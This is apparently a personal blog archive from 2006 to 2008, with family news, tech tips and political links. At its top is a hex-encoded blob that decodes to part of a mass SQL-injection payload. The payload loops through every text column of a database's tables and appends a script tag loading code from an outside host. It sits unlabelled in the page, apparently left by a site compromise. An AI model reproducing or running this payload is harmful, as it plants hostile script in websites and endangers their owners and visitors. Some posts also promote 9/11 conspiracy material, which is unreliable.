00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300 7900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E0078007400790070 0065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F00 7200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062 006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300 6F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D003000290020 0042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B0040004300 2B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B0027 0027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F00

The full and sorry story of my trip to Dallas on Friday, Feb. 29

Mon, 03 Mar 2008 03:48:13 +0000

I arrived at the Louisville, KY airport at 5:30am, Feb 29 and tried to check in for my flight #1755 to Dallas, TX. As it turns out, the confirmation/look up number I received with my itinerary was invalid. They couldn’t find it. And then, upon further investigation, the ticket had been refunded or somehow mis-scheduled. I had to get back in line (I’d been holding up the line this whole time and by now, it was long).

Breast milk contains stem cells

Wed, 20 Feb 2008 20:12:10 +0000

Breast milk contains stem cells – Monday, 11 February 2008 – By Catherine Madden The Perth scientist who made the world-first discovery that human breast milk contains stem cells is confident that within five years scientists will be harvesting them to research treatment for conditions as far-reaching as spinal injuries, diabetes and Parkinson’s disease. But what Dr Mark Cregan is excited about right now is the promise that his discovery could be the start of many more exciting revelations about the potency of breast milk.

And Poppy is born, and there was much Rejoiceing… (yay)

Tue, 29 Jan 2008 19:37:27 +0000

My life has shifted. If my perspective on the world were comprised of tectonic plates – it’s as if a new continent has formed, replete with earthquakes, tsunamis, and the readjustment of every other piece of the former world. That analogy is poor, because in my case, all these changes are great. Great is an understatement; magnificent is an understatement. So – here’s the short story for those who haven’t heard it yet.

Alan & Anita visit Molly, Randy, Simon, and Gena on 2008.01.13

Wed, 16 Jan 2008 05:39:47 +0000

We got to visit Molly, Randy, Simon, and Gena on 2008.01.13 – for an early Gena birthday and to show off Anita in the final stages of pregnancy (due anytime now…) Apparently, Gena is into Disney Princess stuff… Anita was able to come to the rescue and provide the appropriate frilly dress and paraphernalia. A fun visit – to be sure… Note the really neat images of Simon watching his train & Gena running across the room in light-up shoes (slow shutter speed == action shot == cool)

Simple Desktop Application for Google Analytics

Wed, 09 Jan 2008 18:51:27 +0000

I was looking for an API for Google Analytics. I didn’t find one, but I did find a slick little application for looking at the reports and stats of Google Analytics. Google Analytics Air The Google Analytics Reporting suite is an Adobe AIR application that brings Google Analytics to the desktop. It uses it’s own custom API to interact with Google and nearly implements all features of Analytics. See the feature list for more info.

Anita’s Big – 31lbs extra – 25% of her body weight is Poppy

Fri, 04 Jan 2008 05:18:54 +0000

Anita and I went to the Dr. and got the latests baby-weight… it’s 31 pounds. That takes the pregnancy weight from ~20% to ~25% of her previous body weight. A picture’s worth 1000 words… and I’m wouldn’t write that much anyway, but here are some pictures to prove my point: And a few more, for good measure:

2007 Year-end Update

Wed, 26 Dec 2007 17:48:44 +0000

Hello everyone. We like to do things a bit latter… you know, catch the after Christmas sales and have more time to prepare. This year that philosophy also extends to Christmas cards and in this case, emails. The year of 2007 January of 2007 Alan’s team got outsourced to Singapore and he found a new job working for friends doing web development. Alan also picked up a contracting job which ended up being part-time which ended up being his new full time job this November.

Chirstmas in Louisville – Blount/Beatty/McClure/Weatherman

Wed, 26 Dec 2007 07:05:06 +0000

A good and busy Christmas this year. We stayed in Louisville because Anita’s too close to due-date to travel. Had 7 different family engagements in two days and enjoyed every one… though at the end of things we are certainly tired. We had too much food and too much sugar, enough sleep and a great amount of fun. Photos of Christmas: PS: +Facebook Also – I setup a facebook profile +photos, because it’s the thing to do.

Penelope will be: year of the pig

Fri, 21 Dec 2007 20:11:31 +0000

<blockquote> The Pig type is usually an honest, straightforward and patient person. They are a modest, shy character who prefers to work quietly behind the scenes. When others despair, they are often there to offer support. This type of person is reserved with those they do not know too well, but as time passes and they gain confidence, those around them may discover a lively and warm-hearted person behind that mask of aloofness.

The Nerd Handbook – where was this when asked me “why?”

Thu, 20 Dec 2007 19:35:39 +0000

It’s long, but great – go read the Nerd Handbook and understand your favorite nerds just a bit more. Here’s a quote from the top: Understand your nerd’s relation to the computer. It’s clichéd, but a nerd is defined by his computer, and you need to understand why. First, a majority of the folks on the planet either have no idea how a computer works or they look at it and think “it’s magic”.

Algebrahelp.com – where was this when I was in school?

Thu, 20 Dec 2007 19:28:18 +0000

I recently came up with a VERY simple algebraic equation… trying to figure out how many months it would take for something to become cost effective. I looked at the equation and thought I would see if google search could solve it (it can solve basic math problems and even unit conversions), but google couldn’t handle it. So I thought I’d see if there was something else. It took no time to find Algebrahelp.

I’m voting for Andrwe Horne, for the Senate

Thu, 13 Dec 2007 18:07:10 +0000

Not that it matters to most of you, but a friend of mine reminded me that I should indicate who I am voting for… If for nothing else I like the following line: I offer trustworthy, competent and genuine leadership. I am not a Politician. Of course, anyone can say that – but my general feeling is that he would be a good Senator.

Emilyn Parker, born

Thu, 13 Dec 2007 07:23:20 +0000

Anita and Alan and Cathy (Alan’s mom) visit Chris and Jenny Parker in the hospital ~2 days after the birth of Emmalynn Parker. more… This was a “scary” birth story. After 7-8 hours of early/active labor, everything normal and in the Hospital… the baby monitor showed significantly decreasing heartrate. Chris hit the “call nurse” button about the same time as 4 nurses ran into the room and moved Jenny around. The changed position got the heartrate up some, but not enough… so an emergency cessarian was preformed.

Visit to Bob and Doris

Fri, 07 Dec 2007 06:03:11 +0000

Heading to the company meeting in Dallas, I was able to swing into Gainsville, TX for a couple of days to visit Bob And Doris (my Uncle and Aunt on my Dad’s side). Doris is pretty much confined to a bed or wheelchair, but amazingly she seems to be in good spirits and would be her same old self if only her body would cooperate. Bob is ok aside from a month long lung infection of some sort and continual problems with his coumadin.

Company Meeting – Dec. 2007

Fri, 07 Dec 2007 05:59:16 +0000

After a very short time at the company, I’m (currently) at the company meeting in Dallas, TX. It’s been fantastic, and for me to say that about a company meeting – you had better recognize the significance. The people are spread out over the country and all work in their own areas, so most I havn’t met. The purpose of these meetings is to get together and basically say what we’ve each done and what we’re going to be doing.

Anita’s Baby Shower: codename pre-penelope (2007.12.09)

Tue, 04 Dec 2007 16:47:11 +0000

Everyone seems to be gearing up for the baby-shower. I’m sure its going to be rife with “ooohh” and “awww” and “isn’t that cute”. Typically I’m pretty easygoing about such things, but in this case, I’m glad it’s a woman-only-affair. That said, Anita is surprising herself with how into the whole affair she is becoming. Those hormones are potent, it seems. To all friends who were not invited… guess what… no friends were.

Photos of anita and penelope @ 7 month (t – ~3 months)

Sun, 28 Oct 2007 05:24:38 +0000

Here are some fun pictures of Anita and Penelope. She’s now 7 months pregnant and starting to get a bit un-comfortably pregnant. Parts of her fall asleep without reasonable cause. Getting up is more of a challenge than it’s ever been before. Penelope is kicking most of the time, sometime flipping around and keeping things interesting… occasionally kicking down – apparently very painful, that.

A spider attacks a moth… in my sink

Sun, 28 Oct 2007 05:18:30 +0000

Checkout these photos of a spider “taking care of” a recently caught moth. The color leaves a bit to be desired, but the subject matter afforded an opportunity to play with manual focus on the camera from a close distance… also it’s neat to see something like this, zoomed in. [Checkout these photos of a spider “taking care of” a recently caught moth. The color leaves a bit to be desired, but the subject matter afforded an opportunity to play with manual focus on the camera from a close distance… also it’s neat to see something like this, zoomed in.

PS3 Cluster… i’ll take just one.

Fri, 19 Oct 2007 18:15:33 +0000

Clusters are inherently cool anyway… there are much cheaper ways of doing it… but how sexy is that? Take one of the clustered PS3’s out of the mix, play some games… put it back in to crunching. Engineer Creates First Academic Playstation 3 Computing Cluster

many photos of anita and alan and others

Tue, 16 Oct 2007 06:29:46 +0000

A few people have asked me for photos of Anita… I’ve been lax in uploading and in fact I have more on a camera still… but I might as well provide easy links for the ones I’ve uploaded so far… https://zeroasterisk.com/photos/v/friends/2007/    (slideshow) Here are some samples:

select a candidate (2008) quiz – alan’s results:

Sat, 29 Sep 2007 22:28:14 +0000

<td> <a href="http://www.dennis4president.com/" target="_blank">Dennis Kucinich</a> Score: 43 </td> <td> Agree Iraq Taxes Stem-Cell Research Health Care Abortion Social Security Line-Item Veto Energy Marriage </td> <td> Disagree Immigration Death Penalty </td> <td> <a target="_blank" href="http://www.barackobama.com/">Barack Obama</a> Score: 42 <a href="javascript:playVideo('1748087', 'Interview%20with%20Barack%20Obama', 'v', 'Political%20-%20Democrat', '389500', 'Political', '', 'www.WQAD.com');">Video</a> </td> <td> Agree Immigration Taxes Stem-Cell Research Health Care Abortion Social Security Line-Item Veto Energy Marriage Death Penalty </td> <td> Disagree Iraq </td> </tr> <tr valign="top"> <td> <img src="http://web.

Loose Change – again – 911 and American wars

Tue, 04 Sep 2007 07:01:51 +0000

If you’re tired of propaganda; tired of conspiracy theorists telling you that your media is mostly brainwashing you into the party line of big brother… Wake up. There is a lot of conspiracy theory which must be wrong. It’s nuts… so you choose not to belive it. You don’t accept things at face value. You look for evidence to refute crazy stories. Good. Do so. But do so, also, to the “official story”.

Cloth Diapers for Penelope

Wed, 29 Aug 2007 16:27:20 +0000

Thanks to Anita doing research (and generally being excited in all things baby’ish) we have a more solid conviction to cloth diapers. http://www.mothering.com/articles/new_baby/diapers/joy-of-cloth.html – good article on pros and cons http://www.greenmountaindiapers.com/newmom.htm – good pictures and helpful info on how to use and chose which type And in case you haven’t heard or picked up on it… we have pretty much decided on the name “Penelope” after finding out that it was going to be a girl at yesterday’s ultrasound.

Karl Rove’s Father’s Secret…

Wed, 22 Aug 2007 02:32:35 +0000

A Little Bit of History [BME Guest Column] And now I wondered if that son ever cried for the man who raised him and watched him grow up? I’d be curious as to how Karl Rove would ever explain his pierced, gay father? He never told the people in Louis’ phone book that he had died, nor invited them to a service if there was one. No one even knows where he is buried.

Ultrasound images, healthy development

Fri, 10 Aug 2007 07:11:31 +0000

Here are the ultrasounds from Anita’s Dr. visits. Poor quality images all, as they are on some kind of heat-transfer paper they don’t last, especially not in the heat. That said – they weren’t good quality images in the first place. They are neat images though.amazing to see it grow from a bean to a vertebrate in a fairly short period of time. Fingers and toes… brain and legs. All looks healthy.

Firebug is the best tool for AJAX web developers

Thu, 10 May 2007 20:27:20 +0000

Firebug is a fantastic Firefox Add-On which allows realtime viewing and editing of a page’s DOM, CSS, etc. as well as net usage reports, and even JS timing and profiling. If you work on the web, it’s well worth your time to familiarize yourself with this tool. Here’s a video presentation: YUI Theater: Joe Hewitt, Welcome to Firebug 1.0 » Yahoo! User Interface Blog – summary

Petition to save Internet Radio

Tue, 17 Apr 2007 21:56:48 +0000

Petition to save Internet Radio: http://capwiz.com/saveinternetr I’ve been reading up on copyright laws in America and internationally and it seems blatantly obvious that the extra costs and constraints put on internet radio are one symptom of a larger problem… that our copyright system is outmoded by the technologies of the past 20 years. That’s a larger problem for another day {read “Free Culture” for more information}.For now… lets look at Internet Radio.

recreating the RAID array

Sun, 11 Mar 2007 05:52:33 +0000

So, due to a degraded HDD in my RAID5 array, I decided to build a new array. I bought 4 320G Seagate drives… those drives have many benifits, not least of which, a 5 year warranty. I already have a 3ware escalade RAID controller (7506-4LP), one of the best options for a hardware RAID controller. Instead of building another RAID5, I chose to build 2, RAID1 arrays. I chose this because it’s much easier to buy 2 hard drives (upgrading one mirrored pair) than to buy 4 hard drives (to upgrade a 4 disk array).

3DM2 (3ware raid management tool) on Ubuntu

Tue, 06 Mar 2007 17:35:40 +0000

Ran into a problem installing the 3DM2 (3ware raid management tool) on Ubuntu today. Got an “” error when trying to run the install script. After a bit of debugging, I figured out that the failing variable was in the “check architecture” section of the script… In my case, I simply stripped out the logic and put in the following text to just set variables to my specific setup: After that it worked fine… but once installed, the service wouldn’t start… due to the following error “Failed to create SSL context”.

The life and strife of a web developer/designer

Mon, 12 Feb 2007 19:52:10 +0000

The life and strife of a web developer/designer, as an animated gif.

Gainfully employeed, kind-of

Wed, 31 Jan 2007 21:39:31 +0000

I am now hired on a 2 month contract with via studio, a very well respected design/development/consulting company. This may turn into a long term position, but the 2 month contract period is a good trial run for them and for me. I’ll update as I have more information. Today is my last day of work at Mercer. It has ended lack-luster (painfully), but the whole experience has been great for me.

looking for a job – web development / project managment

Tue, 09 Jan 2007 19:24:14 +0000

As you can see, I’m looking into my options for employment. I have a few leads, but would like to explore all of my options… at least all of the options I can get in quickly, as I’d like to have a choice made by late January. 1-page resume 2-page resume Ideally, I’d like to find a position which afforded me the opportunity to manage, design, and develop web-based projects / solutions.

stuff it expander download link

Thu, 07 Dec 2006 23:57:35 +0000

For anyone who had a really hard time getting just the free expander for stuffit (.sitx files) – here’s the link: StuffIt Expander: Free file expansion – Windows StuffIt Expander: Free file expansion – Mac

210 hours in 3 weeks…. i’m afraid so.

Thu, 30 Nov 2006 20:00:42 +0000

My past 3 weeks… I’ve worked ~210 hours… that averages to 70 hours per week… but really I worked almost 100 hours in one 7 day period. One day, i worked from 6am – 2am, and one day I worked from 9am – 2am. Always getting up and working the next day by 9am at the latest and working more than a full day… every day. Why would I do such horrendous work?

AutoHotKey – like robotype on steroids

Tue, 28 Nov 2006 16:08:50 +0000

AutoHotkey – Free Mouse and Keyboard Macro Program with Hotkeys and AutoText: AutoHotkey is a free, open-source utility for Windows. With it, you can: Automate almost anything by sending keystrokes and mouse clicks. You can write a mouse or keyboard macro by hand or use the macro recorder. Create hotkeys for keyboard, joystick, and mouse. Virtually any key, button, or combination can become a hotkey. Expand abbreviations as you type them.

Police brutality – an email from Jason E. (spoon)

Wed, 22 Nov 2006 21:25:09 +0000

A great but disturbing email sent by my friend Jason E. (spoon): November 14th, 2006: A student is tasered five times while in police custody while in the library at UCLA. The cops tase him, not because he’s fighting them, but because he is (non-violently) refusing to walk out of the library with them. Note that the cop says, “Stand up or you’ll get tased again.” Of anything on this video that comment really sickens me the most.

jamglue – tightness!

Fri, 17 Nov 2006 19:20:45 +0000

Jamglue – Glue it to the man: This is a fantastic tool – to multi-track audio from a collaboartive environment with slick controls and a great/simple user interface. http://www.jamglue.com/people/zeroasterisk screencast tutorial http://blog.jamglue.com/ http://jamglue.com/ I just wonder who has time to make such a cool site… ther interface required would not be simple to whip together. I’m impressed. Get it while it’s beta/hot/free…

ultimate in singapore as reported in the wall street journal

Fri, 10 Nov 2006 16:34:20 +0000

The Ultimate Sport – WSJ.com: Besides being relatively inexpensive to play, part of Ultimate’s appeal lies in the fact that stature isn’t as critical as speed and dexterity: catching, throwing, jumping and pivoting. One of the star players for the Filipino team Pula, Panoy de los Santos, for instance, is just 1.57-meters tall (but the fastest member of the team). Another attraction is that Ultimate is a noncontact game, so women like it as much as men do — 35% of the 500 players in the Philippines are female.

Marea & DJ are wed, HH3 rocked

Wed, 01 Nov 2006 02:39:42 +0000

Marea and DJ’s wedding on Saturday Oct. 28th was wonderful. The wedding proper was at ~1pm at her father’s house in the Tyler Park area. It was supposed to be a very small event, which still ended up being 60+ people. It was an hour of hanging out, then 10 minutes of ceremony, and then an hour of eating and hanging out some more. The ceremony was basically: “we are all happy to be here… do you, and you?

bank interest calculation in question… looking for your 2 cents

Thu, 26 Oct 2006 17:25:28 +0000

I need some help from some people who understand finances better than I do, am I getting ripped off of a cent a month interest by my bank? (earth shattering importance, of course) Imagine the following (hypothetical) savings account earning 1% annual interest. 1% annual is (0.01 / 365) 0.000027397260274 daily interest. So for every day, you multiply the amount of money you have accruing interest by that daily amount… add the days together and you’ve got your interest amount for that length of days… when your money amount changes (when you add to it or reduce it) your calculations change, so you need to reflect that… a basic table is displayed below…

Praise to Alan

Thu, 26 Oct 2006 15:27:28 +0000

I would like to take a moment and give praise to Alan. For those who know him, know that he is awesomely quicky, white and nerdy. It gets better when you live with him! I have come home after a bad day several times this quarter, and he has cleaned. We’re not talking just dishes – we’re talkin dishes, sweeping, mopping, cat box, laundry, the whole nine yards. He does these things even though he’s been working all day and probably hasn’t had a much better day than I have.

Explorer Destroyer

Tue, 17 Oct 2006 19:10:30 +0000

Explorer Destroyer – Switch to Firefox, Make money from Adsense Referral: Get this tool for switching people from IE to Firefox. For each person you switch, Google gives you $1, Microsoft loses marketshare, and an angel gets its wings. I have thought about adding this to my site… I already annoy visitors with a note in the header… perhpas I should try to get paid a little for that annoyance (if successful).

Anita’s new wedding ring (yes, from alan)

Mon, 16 Oct 2006 23:27:37 +0000

[ Anita’s new wedding ring (the 3rd)]1 This is the 3rd wedding rind on Anita’s finger… all 3 from Alan, and all within the first 5-6 years of marriage. Luckily all three of them together are less than many people pay for one… this weighing in fairly high on the price list at ~$170… we purchased it from Donald R. Pekarek, the jeweler/goldsmith/artist who made it. He was at a local art fair a couple of weeks ago, here in Columbus and though we were not really in the market, decided that it seemed very Anita’ish and she wanted to have a ring again….

Adam Menzies: Trampoline Demo

Mon, 16 Oct 2006 20:35:48 +0000

YouTube – Adam Menzies: Trampoline Demo: A totally amazing athlete – the movie is fair quality and 6 minutes with good variety. Anyone who enjoys jumping or climbing will be impressed.

Iddybud: The Buck Stops with Bush

Thu, 12 Oct 2006 20:57:25 +0000

Iddybud: The Buck Stops with Bush: What we have done in Iraq – the way we went about this venture – is something I’m sure that President Bush now regrets, even though he’d never admit it. We have a strategic nightmare on our hands, and we also have citizens of Iraq – not al Qaeda, but citizens – murdering one another. The children in the photo you see above are real.

Inside Toyota’s hybrid factory | CNET

Thu, 12 Oct 2006 18:22:35 +0000

Inside Toyota’s hybrid factory | CNET News.com: TOYOTA CITY, Japan–While you’re touring the assembly area in Toyota’s Tsutsumi auto plant, your mind keeps telling you that you’ve been here before. Then it hits you. It’s a lot like the Snow White ride at Disneyland. Robotic cars filled up with wiper blades and other parts amble along a track in the floor, taking parts from the procurement department to other ends of the factory.

White and Nerdy- Weird Al

Sun, 08 Oct 2006 22:59:40 +0000

YouTube – White and Nerdy- Weird Al This video/song is fantastic… it hits pretty close to home for me and several of my friends, though. Personally it’s hitting at least 40% acurate for me: I’m fluent in Javascript, do webpages for friends, got a friend who went to MIT, have stationary rims, i’ve got a soldering gun, i edit wikipedia, i can quote the whole “Monty Python and the Holy Grail”, and I wanna bowl with the gansta’s.

Bush is a Post Turtle

Tue, 03 Oct 2006 16:27:29 +0000

While suturing a cut on the hand of a 75-year-old Texas rancher, whose hand was caught in a gate while working cattle, the doctor struck up a conversation with the old man. Eventually, the topic got around to former Texas Governor George W. Bush and his elevation to the White House. The old Texan said, “Well, ya know, Bush is a ‘post turtle’.” Not being familiar with the term, the doctor asked him what a ‘post turtle’ was.

My company has a new CEO

Tue, 26 Sep 2006 20:01:13 +0000

Here is a link to an article which paints a less than favorable picture of her. Watch the stock with interest… but you might not want to invest just yet. (note one of the comments that she was associated w/ the Enron disaster)

Arrr, it be talk like a pirate day again.

Tue, 19 Sep 2006 19:42:59 +0000

Talk Like A Pirate Day – September 19: Aye, we be needin’ ya to talk like pirate now or ye’ be considered a spinless land-lubber. If ye’ be needin’ some a guidance-like, watch “Pirates of the Carribian” again and hold fast.

Jenifer (in LA) posted some new photos recently

Tue, 19 Sep 2006 18:39:48 +0000

Martha’s Vineyard- August 2006: [<img src="https://zeroasterisk.com/photos/main.php?g2_view=core.DownloadItem&g2_itemId=30381&g2_serialNumber=2" class="giThumbnail" alt="8.13.06" longdesc="Edgartown Yacht Club Annual Regatta" height="150" width="200" />][2] [<img src="https://zeroasterisk.com/photos/main.php?g2_view=core.DownloadItem&g2_itemId=30426&g2_serialNumber=2" class="giThumbnail" alt="August13,06" longdesc="The Edgartown Ligthouse. Featured in "Jaws"..." height="150" width="200" />][3]<div class="twttr_button">

Bill which does not reinterprets the Geneva Conventions

Mon, 18 Sep 2006 15:48:50 +0000

CNN.com – GOP split as Senate panel bucks Bush on terror tribunals – Sep 15, 2006: The bill was backed by Republican Sens. John Warner of Virginia, chairman of the Armed Services Committee, Sen. John McCain of Arizona and Sen Lindsey Graham of South Carolina. It differs from the administration’s proposal in two major ways: It would permit terror suspects to view classified evidence against them and does not include a proposal that critics say reinterprets a Geneva Conventions rule that prohibits cruel and inhuman treatment of detainees.

MIT Hack – fire truck

Fri, 15 Sep 2006 18:14:32 +0000

IHTFP Hack Gallery:Fire Truck on the Great Dome: A buddy of mine who went to MIT sent me this… He said the students have to dodge building security to get to the top of the dome… and the got the fire truck up there by disassembling it, carrying up the parts, and reassembling it on top. Amazing! A lot more effort than most people I know would put into something…

fantastic paper cutouts

Thu, 14 Sep 2006 14:48:48 +0000

PaperCut- Nghệ thuật độc đáo – ~o0Giải trí Việt Nam0o~:

News: Engineered cells beat cancer in human test

Sat, 02 Sep 2006 13:11:40 +0000

Engineered cells beat cancer in human test | Chicago Tribune: In a small study of patients with terminal skin cancer, Maryland scientists have demonstrated for the first time that genetically engineered immune cells can kill off large tumors. The research, conducted by a team at the National Cancer Institute in Bethesda, remains highly experimental, and it worked on just two of the 17 patients in the study. But excited government scientists said it is the first time gene therapy has vanquished an advanced cancer.

Letter to the editor: Republicans need to step out from behind their false mask of security

Tue, 15 Aug 2006 18:26:02 +0000

Five years after 9/11, the Bush administration has failed to keep us safe. In fact, we are less safe. The war in Iraq has diverted attention from protecting America from terrorism. In fact, this past week 9/11 commissioners said Iraq is distracting from security at home. The war in Iraq has inflamed the whole Middle East and is helping Al Qaeda attract new recruits. Osama Bin Laden is still on the loose.

freedom toaster – a great idea

Tue, 15 Aug 2006 14:04:40 +0000

Again, I’m amazed at the generosity of human beings. Perhaps silly, perhaps underused (no idea), and obviously narrow in scope… none the less, I’m still impressed that people have volunteered to make the following happen: Freedom Toaster Freedom Toasters are conveniently located, self-contained, computer-based, ‘Bring ‘n Burn’ facilities. Like vending machines, preloaded to dispense confectionery, Freedom Toasters are preloaded to dispense free digital products, including software, photography, music and literature.

Nuclear weapons, still.

Mon, 07 Aug 2006 20:29:05 +0000

I’m not nearly as anti-nuclear as most of my socially conceious friends… at least as it relates to nuclear power and research. That said, I’m seriously worried about the “bigger stick” theory as it escelates into… well… the upper ranges of weaponry we’ve had for a few decades. Though we’ve been sitting on (or making more) weapons and not really attacking with them (just testing them)… they exist to be used and can be within minutes from right now.

so, uh… yeah… i admire Matthias Wandel

Wed, 05 Jul 2006 16:17:04 +0000

I don’t often randomly surf for people… but this guy [Matthias Wandel] wrote some software I was using (for the first time, about 5-6 years ago) [jhead] and I randomly browsed over to his personal site and thought he was really (really) cool… Neat projects and inventions, done both logically and creatively (a combination I admire and strive for, though which I tend to exhibit to a lessor degree). he came up in conversation again today and so I found his site again and found this page (among others) which just makes me go all warm and fuzzy:

the one that got away

Thu, 29 Jun 2006 14:25:16 +0000

I had written a decent post about freedom of speech and that it is mostly a facade, but even that facade is wonderful… but the post got lost in the ether (more accuratly, my computer rebooted for unknown reasons). Anyway, here are the news articles prompting the previous post: Secret government or a free press?{#r-1_0} “flag desecration is an unacceptable form of political protest” — U.S. SEN. BILL FRIST » Senate Rejects Flag Desecration Amendment And I ended up reading a chain of wikipedia articles which went something like:

Meditation relieves stress… anyone surprised?

Tue, 13 Jun 2006 18:32:02 +0000

According to the article: Transcendental meditation good for stress: study it goes a bit further than just getting relaxed… Practicing transcendental medicine not only mellows the mind but may also calm the body’s damaging responses to stress that leads to heart disease and diabetes, researchers said on Monday. … Meditation has been previously shown to lower blood pressure, but researchers at Cedars-Sinai Medical Center, Los Angeles, found it also decreased heart rate variability and insulin sensitivity.

alan is 10,000 days old today

Sun, 04 Jun 2006 16:22:35 +0000

I have really slacked on the the posting recently… I’ve had a good amount to talk about, but haven’t had the motivation to write anything. (at least none that coincides with available time) I’ve played a lot of [I have really slacked on the the posting recently… I’ve had a good amount to talk about, but haven’t had the motivation to write anything. (at least none that coincides with available time)

on: 911 Loose Change 2nd Edition with extra footage

Fri, 05 May 2006 21:27:16 +0000

Text of an email I spammed to just about everyone I have an address for: ===INTRO============== I’m sorry to have sent what could be considered propaganda to you. I believe it’s well put together and raises very important questions, furthermore validating those questions and invalidating many official responses with evidence. Because of this, and because it’s so easy to send around (just a link to a video) I have decided to send it to just about everyone in my address book.

pandora > radio (except for some NPR)

Mon, 03 Apr 2006 23:31:41 +0000

If you didn’t already know… Pandora.com. Yes, that’s right. What? You want to know what I’m talking about? Simply, it’s a brilliant option for listen to music. You go to that site, create an ID (only requires an email address) and you get a personalized (personalizable) streaming radio station determined from a seed artist or song. How does it know what music to select? It’s made by the people who did the music gennome project, so they have littereally mapped and classified music (fairly well, it seems) and allow you to guide your station(s) accordingly… bring in variety or isolate to a single vein; the choice is yours… I like that they have more music than I do (at least they have some music I don’t) and so I’m hearing stuff I like and know mixed with compatible music I don’t know.

What I’m reading today (political) + What I did today

Sat, 01 Apr 2006 20:51:23 +0000

What I’m reading today (political): Sometimes I do sit down and do an hour or 2 of reading and browsing. I have collected the stories that I would recommend to anyone else interested in our messed up government, situation in the current war (criminal occupation), and world in general. Guilty plea in US bribery probe : An ex-aide to a top Republican lawmaker has pleaded guilty to conspiracy in a corruption case that has rattled the US political establishment.

aaronland.info/nytimes

Tue, 28 Mar 2006 06:30:33 +0000

Interesting link : http://aaronland.info/nytimes/ Read the blurb at the top and then click on the first link [http://aaronland.info/nytimes/related/]. The top image is a map where the top NY Times stories are plotted… but below that is a thought-map, of sorts… a link-chart of buzzwords. kinda neat… to see that almost everything links to “violence” and that the “united church of christ” links only to “churches”, “television”, and “advertising”. just random / interesting.

flickr is really… really cool…

Mon, 13 Mar 2006 02:57:28 +0000

I have setup a Flickr account/profile and played with it some… it’s totally awesome. I’ve heard of it for years, but haven’t needed anything like it, since I have gallery installed on a server on which I have nigh’-unlimited storage space… Anyway – that’s my excuse for being slow to jump on this bandwagon… I’m here now. The only question is deciding if I want to make the switch and pay for an unlimited account… then move all the photos I have in gallery into flickr… and worry about when their server goes down or looses all of my photos (not that such is likely, but less under my control).

two worth-reading polictical links

Fri, 10 Mar 2006 20:29:08 +0000

A good laugh (followed by a frustrated sigh) : Guardian Unlimited | Guardian daily comment | God: I’ve lost faith in Blair And a much more sober / disconcerting / conspiracy-theory’ish (but no less true for that) link: www.scholarsfor911truth.org

brutal christ[ians]

Sat, 25 Feb 2006 23:18:37 +0000

I just got done reading : The Brutal Christ of the Armageddonites – by Jon Basil Utley It’s a great overview of / perspective on the Christian “pro-end-of-the-world” movement which has begun (in this country) to not only become fairly popular, but to be largely represented in the government and the financial elite. This is, no doubt frightening… but again, it brings me back to one of my major complaints about most organized religion… arrogance.

pay to email – what a dumb idea

Thu, 23 Feb 2006 00:19:36 +0000

so – there’s some buzz going on (yes, I’m a few days behind) about AOL and Yahoo letting companies pay (them) to send spam… but disallowing spam otherwise… what? If you could dis-allow it, do so. If your plan is put into effect, that means more spam in the inbox. It makes no sense. (links below) AOL/Yahoo Email Tax to Stop Spam: Why It Won’t Work – Gizmodo Yahoo and AOL Announce Pay Per Spam Email Project | Threadwatch.

alan + mohawk = all is right in the world

Thu, 16 Feb 2006 07:08:34 +0000

Yes, once again, Alan is in posession of a mohawk… life is good – life is good. A mohawk is a wonderful thing for several reasons. Some of them are: I have hair on the top of my head still, might as well enjoy it. It improves my ultimate frisbee game (seriously). It reminds me and anyone else that I’m not really all the way old, yet. It helps instantly filter people, like John’s pants, for any who know.

a new bed (life is good)

Mon, 13 Feb 2006 05:48:22 +0000

We have had our bed now for over an week and it is fantastic. I actually found myself sleeping propped up on my elbows one morning – and it was comfortable. We got a Sealy : Reflexion : Venice Beach – a big latext foam bed. We bought it at us-matress.com, but we only had to buy the mattres (no box spring) so it ended up being a less than what you see as the cost.

People are freaking out on GDS

Fri, 10 Feb 2006 15:16:19 +0000

I’m seeing a lot of articles (and people at work are linking me to even more) warning people about the new Google Desktop Search; like: Google Copies Your Hard Drive – Government Smiles in Anticipation Google today announced a new “feature” of its Google Desktop software that greatly increases the risk to consumer privacy. If a consumer chooses to use it, the new “Search Across Computers” feature will store copies of the user’s Word documents, PDFs, spreadsheets and other text-based documents on Google’s own servers, to enable searching from any one of the user’s computers.

a good Bush commercial

Wed, 08 Feb 2006 15:38:53 +0000

If anyone is interested, go to https://political.moveon.org/donate/breakingthelaw.html to view the commercial spot (and the facts behind it) MoveOn is trying to get on the air. I’ve long said Bush is as bad or worse than Nixon – indeed, it looks like others are saying the same thing, better. And of course, if you wanted to play a similar game try waronterrortheboardgame.com.

Petition: The President Broke the Law

Fri, 20 Jan 2006 23:35:18 +0000

<MoveOn.org> petition: The President Broke the Law President Bush admitted to personally authorizing thousands of allegedly illegal wiretaps, and he doesn’t plan to stop. Circumventing the Constitution is serious business. This is a big moment. People from across the political spectrum are standing together to protect the rule of law and the principles that are core to our identity as Americans. Can you sign this petition to show Congress that Americans want a thorough investigation of the president’s secret wiretapping program?

Political links and quotes for today

Sat, 14 Jan 2006 21:23:20 +0000

Here is a great interview with Noam Chomsky entitled There Is No War On Terror. Some of my favorite quotes from it, follow: This is even sometimes discussed. You can find it in the strategic analysis literature. Take, say, the invasion of Iraq again. We’re told that they didn’t find weapons of mass destruction. Well, that’s not exactly correct. They did find weapons of mass destruction, namely, the ones that had been sent to Saddam by the United States, Britain, and others through the 1980s.

Impeach Bush… you hear about this yet?

Tue, 10 Jan 2006 23:55:16 +0000

